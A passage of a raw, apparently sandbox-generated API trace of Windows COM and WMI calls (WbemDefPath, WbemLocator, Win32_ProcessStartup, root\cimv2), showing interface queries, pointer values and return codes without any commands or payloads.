puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0125.816] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3515c0, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0125.816] WbemDefPath:IWbemPath:GetInfo (in: This=0x3515c0, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0125.818] CoGetObjectContext (in: riid=0x28d1538*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0125.818] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0125.818] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x28d1518*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0125.818] IUnknown:Release (This=0x3111d8) returned 0x0 [0125.819] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x33a460) returned 0x0 [0125.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a460, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0125.819] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a460, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x3518c0) returned 0x0 [0125.819] WbemDefPath:IUnknown:Release (This=0x33a460) returned 0x0 [0125.819] WbemDefPath:IUnknown:QueryInterface (in: This=0x3518c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x3518c0) returned 0x0 [0125.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x3518c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0125.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x3518c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0125.820] WbemDefPath:IUnknown:AddRef (This=0x3518c0) returned 0x3 [0125.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x3518c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0125.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x3518c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0125.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x3518c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x33a1a0) returned 0x0 [0125.820] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33a1a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.820] WbemDefPath:IUnknown:Release (This=0x33a1a0) returned 0x3 [0125.820] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0125.821] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0125.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x3518c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0125.821] WbemDefPath:IUnknown:Release (This=0x3518c0) returned 0x2 [0125.821] WbemDefPath:IUnknown:Release (This=0x3518c0) returned 0x1 [0125.821] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0125.821] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0125.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x3518c0, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x3518c0) returned 0x0 [0125.821] WbemDefPath:IUnknown:AddRef (This=0x3518c0) returned 0x3 [0125.821] WbemDefPath:IUnknown:Release (This=0x3518c0) returned 0x2 [0125.821] WbemDefPath:IWbemPath:SetText (This=0x3518c0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0125.821] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3518c0, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0125.821] WbemDefPath:IWbemPath:GetText (in: This=0x3518c0, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0x15, pszText=0x0) returned 0x0 [0125.821] WbemDefPath:IWbemPath:GetText (in: This=0x3518c0, lFlags=2, puBuffLength=0x1b10db40*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10db40*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0125.821] WbemDefPath:IWbemPath:GetInfo (in: This=0x3518c0, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0125.822] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3518c0, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0125.822] WbemDefPath:IWbemPath:GetInfo (in: This=0x3518c0, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0125.831] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3518c0, puCount=0x1b10daa8 | out: puCount=0x1b10daa8*=0x0) returned 0x0 [0125.832] CoGetObjectContext (in: riid=0x28d1538*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ca98 | out: ppv=0x1b10ca98*=0x3111d8) returned 0x0 [0125.832] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10ca88 | out: pAptType=0x1b10ca88*=1) returned 0x0 [0125.832] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x28d1518*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10ca90 | out: ppvObject=0x1b10ca90*=0x0) returned 0x80004002 [0125.832] IUnknown:Release (This=0x3111d8) returned 0x0 [0125.833] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10be88 | out: ppv=0x1b10be88*=0x33a0e0) returned 0x0 [0125.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a0e0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10bf70 | out: ppvObject=0x1b10bf70*=0x0) returned 0x80004002 [0125.833] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a0e0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10bf48 | out: ppvObject=0x1b10bf48*=0x352400) returned 0x0 [0125.834] WbemDefPath:IUnknown:Release (This=0x33a0e0) returned 0x0 [0125.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x352400, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10bcf0 | out: ppvObject=0x1b10bcf0*=0x352400) returned 0x0 [0125.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x352400, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10bd80 | out: ppvObject=0x1b10bd80*=0x0) returned 0x80004002 [0125.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x352400, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10b578 | out: ppvObject=0x1b10b578*=0x0) returned 0x80004002 [0125.834] WbemDefPath:IUnknown:AddRef (This=0x352400) returned 0x3 [0125.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x352400, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10b438 | out: ppvObject=0x1b10b438*=0x0) returned 0x80004002 [0125.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x352400, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10b3c0 | out: ppvObject=0x1b10b3c0*=0x0) returned 0x80004002 [0125.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x352400, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10b3b0 | out: ppvObject=0x1b10b3b0*=0x33a100) returned 0x0 [0125.834] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33a100, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10b3d8 | out: pCid=0x1b10b3d8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.834] WbemDefPath:IUnknown:Release (This=0x33a100) returned 0x3 [0125.834] CoGetContextToken (in: pToken=0x1b10b460 | out: pToken=0x1b10b460) returned 0x0 [0125.834] CoGetContextToken (in: pToken=0x1b10b8e0 | out: pToken=0x1b10b8e0) returned 0x0 [0125.834] WbemDefPath:IUnknown:QueryInterface (in: This=0x352400, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10b9a0 | out: ppvObject=0x1b10b9a0*=0x0) returned 0x80004002 [0125.834] WbemDefPath:IUnknown:Release (This=0x352400) returned 0x2 [0125.835] WbemDefPath:IUnknown:Release (This=0x352400) returned 0x1 [0125.835] CoGetContextToken (in: pToken=0x1b10c6d0 | out: pToken=0x1b10c6d0) returned 0x0 [0125.835] CoGetContextToken (in: pToken=0x1b10c5d0 | out: pToken=0x1b10c5d0) returned 0x0 [0125.835] WbemDefPath:IUnknown:QueryInterface (in: This=0x352400, riid=0x1b10c730*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10c700 | out: ppvObject=0x1b10c700*=0x352400) returned 0x0 [0125.835] WbemDefPath:IUnknown:AddRef (This=0x352400) returned 0x3 [0125.835] WbemDefPath:IUnknown:Release (This=0x352400) returned 0x2 [0125.835] WbemDefPath:IWbemPath:SetText (This=0x352400, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0125.839] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10da68 | out: puCount=0x1b10da68*=0x2) returned 0x0 [0125.839] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da60*=0xf, pszText=0x0) returned 0x0 [0125.839] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da60*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.839] CoGetObjectContext (in: riid=0x28d1538*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0125.839] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0125.839] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x28d1518*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0125.839] IUnknown:Release (This=0x3111d8) returned 0x0 [0125.840] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cda8 | out: ppv=0x1b10cda8*=0x339d80) returned 0x0 [0125.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x339d80, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce90 | out: ppvObject=0x1b10ce90*=0x0) returned 0x80004002 [0125.840] WbemDefPath:IClassFactory:CreateInstance (in: This=0x339d80, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce68 | out: ppvObject=0x1b10ce68*=0x351bc0) returned 0x0 [0125.840] WbemDefPath:IUnknown:Release (This=0x339d80) returned 0x0 [0125.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x351bc0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x351bc0) returned 0x0 [0125.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x351bc0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cca0 | out: ppvObject=0x1b10cca0*=0x0) returned 0x80004002 [0125.840] WbemDefPath:IUnknown:QueryInterface (in: This=0x351bc0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0125.840] WbemDefPath:IUnknown:AddRef (This=0x351bc0) returned 0x3 [0125.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x351bc0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c358 | out: ppvObject=0x1b10c358*=0x0) returned 0x80004002 [0125.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x351bc0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2e0 | out: ppvObject=0x1b10c2e0*=0x0) returned 0x80004002 [0125.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x351bc0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2d0 | out: ppvObject=0x1b10c2d0*=0x33a480) returned 0x0 [0125.841] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33a480, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2f8 | out: pCid=0x1b10c2f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.841] WbemDefPath:IUnknown:Release (This=0x33a480) returned 0x3 [0125.841] CoGetContextToken (in: pToken=0x1b10c380 | out: pToken=0x1b10c380) returned 0x0 [0125.841] CoGetContextToken (in: pToken=0x1b10c800 | out: pToken=0x1b10c800) returned 0x0 [0125.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x351bc0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8c0 | out: ppvObject=0x1b10c8c0*=0x0) returned 0x80004002 [0125.841] WbemDefPath:IUnknown:Release (This=0x351bc0) returned 0x2 [0125.841] WbemDefPath:IUnknown:Release (This=0x351bc0) returned 0x1 [0125.841] CoGetContextToken (in: pToken=0x1b10d5f0 | out: pToken=0x1b10d5f0) returned 0x0 [0125.841] CoGetContextToken (in: pToken=0x1b10d4f0 | out: pToken=0x1b10d4f0) returned 0x0 [0125.841] WbemDefPath:IUnknown:QueryInterface (in: This=0x351bc0, riid=0x1b10d650*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d620 | out: ppvObject=0x1b10d620*=0x351bc0) returned 0x0 [0125.841] WbemDefPath:IUnknown:AddRef (This=0x351bc0) returned 0x3 [0125.841] WbemDefPath:IUnknown:Release (This=0x351bc0) returned 0x2 [0125.841] WbemDefPath:IWbemPath:SetText (This=0x351bc0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0125.841] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351bc0, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0125.841] WbemDefPath:IWbemPath:GetText (in: This=0x351bc0, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0125.842] WbemDefPath:IWbemPath:GetText (in: This=0x351bc0, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.842] CoGetObjectContext (in: riid=0x28d1538*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10da48 | out: ppv=0x1b10da48*=0x3111d8) returned 0x0 [0125.842] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10da38 | out: pAptType=0x1b10da38*=1) returned 0x0 [0125.842] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x28d1518*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10da40 | out: ppvObject=0x1b10da40*=0x0) returned 0x80004002 [0125.842] IUnknown:Release (This=0x3111d8) returned 0x0 [0125.842] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x1b10d538 | out: lpiid=0x1b10d538) returned 0x0 [0125.843] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d108 | out: ppv=0x1b10d108*=0x33a140) returned 0x0 [0125.864] WbemLocator:IUnknown:QueryInterface (in: This=0x33a140, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d1f0 | out: ppvObject=0x1b10d1f0*=0x0) returned 0x80004002 [0125.864] WbemLocator:IClassFactory:CreateInstance (in: This=0x33a140, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d1c8 | out: ppvObject=0x1b10d1c8*=0x33a340) returned 0x0 [0125.864] WbemLocator:IUnknown:Release (This=0x33a140) returned 0x0 [0125.864] WbemLocator:IUnknown:QueryInterface (in: This=0x33a340, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x33a340) returned 0x0 [0125.864] WbemLocator:IUnknown:QueryInterface (in: This=0x33a340, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d000 | out: ppvObject=0x1b10d000*=0x0) returned 0x80004002 [0125.864] WbemLocator:IUnknown:QueryInterface (in: This=0x33a340, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c7f8 | out: ppvObject=0x1b10c7f8*=0x0) returned 0x80004002 [0125.865] WbemLocator:IUnknown:AddRef (This=0x33a340) returned 0x3 [0125.865] WbemLocator:IUnknown:QueryInterface (in: This=0x33a340, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6b8 | out: ppvObject=0x1b10c6b8*=0x0) returned 0x80004002 [0125.865] WbemLocator:IUnknown:QueryInterface (in: This=0x33a340, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c640 | out: ppvObject=0x1b10c640*=0x0) returned 0x80004002 [0125.865] WbemLocator:IUnknown:QueryInterface (in: This=0x33a340, 